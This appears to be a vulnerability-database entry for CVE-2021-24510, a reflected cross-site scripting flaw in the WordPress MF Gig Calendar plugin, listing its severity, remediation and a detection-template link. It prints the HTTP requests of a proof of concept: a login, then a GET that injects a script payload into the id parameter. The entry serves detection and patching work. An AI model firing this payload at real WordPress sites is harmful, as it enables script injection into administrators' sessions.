🔙 목록으로 돌아가기

CVE-2021-24510: WordPress MF Gig Calendar <=1.1 - Cross-Site Scripting

TitleWordPress MF Gig Calendar <=1.1 - Cross-Site Scripting
AuthordhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
RemediationUpdate to the latest version of WordPress MF Gig Calendar plugin (>=1.2) which includes proper input sanitization and validation.
CVSS Score6.1
EPSS Score0.21147
CVE IDCVE-2021-24510
CWE IDCWE-79
Tags cve2021 cve wp-plugin authenticated wpscan wordpress mf_gig_calendar_project vuln

🔍 Vulnerability Description

WordPress MF Gig Calendar plugin 1.1 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize or escape the id GET parameter before outputting back in the admin dashboard when editing an event.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=gC5Wfm&pwd=jzchx2&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=mf_gig_calendar&action=edit&id="></script><script>alert(document.domain)</script><" HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24510.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24510.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A